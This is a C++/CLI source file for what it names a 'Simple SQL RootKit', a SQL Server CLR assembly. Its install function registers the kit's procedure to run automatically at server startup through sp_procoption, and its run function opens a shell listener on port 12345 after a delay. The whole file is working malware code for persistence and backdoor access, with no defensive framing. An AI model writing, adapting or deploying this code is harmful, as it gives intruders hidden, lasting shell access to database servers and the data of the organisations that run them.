// SSRK.cpp (Simple SQL RootKit)
// -----------------------------
// Primary class functions for SSRK.dll

#include "stdafx.h"
#include "SSRK.h"

// Installs the SQL kit
void SSRK::SqlKit::InstallKit()
{
	bool	_bKitFound = false;

	// Determine if this kit is already set up for auto-run
	SqlConnection ^_conn = gcnew SqlConnection("context connection=true");
	SqlCommand ^_comm = gcnew SqlCommand();
	_comm->CommandText = "SELECT name FROM sys.objects WHERE OBJECTPROPERTY(object_id,'ExecIsStartup') = 1";
	_comm->Connection = _conn;
	_conn->Open();
	SqlDataReader ^_reader = _comm->ExecuteReader();

	// Create the regex value from the function name
	Regex ^_regex = gcnew Regex(KIT_NAME);

	// Read the results
	Match ^_match;
	while(_reader->Read())
	{
		_match = _regex->Match(_reader->GetString(0));
		if(_match->Success)
			_bKitFound = true;
	}
	_reader->Close();
	if(!_bKitFound)
	{
		// Kit not set for auto-run, enable auto-run at SQL startup
		_comm->CommandText = (("EXEC sp_procoption " + KIT_NAME) + ", 'STARTUP', 'ON'");
		_comm->ExecuteNonQuery();
	}

	// Close the connection
	_conn->Close();

	// Start the primary kit thread
	Thread ^_thread = gcnew Thread(gcnew ThreadStart(&SqlKit::RunKit));
	_thread->Start();
	Thread::Sleep(0);

	return;
}

// Runs the SQL kit primary thread
void SSRK::SqlKit::RunKit()
{
	Thread::Sleep(10000);
	Shell^ _shell = gcnew Shell();
	_shell->StartLocalShell(12345,false);
	return;
}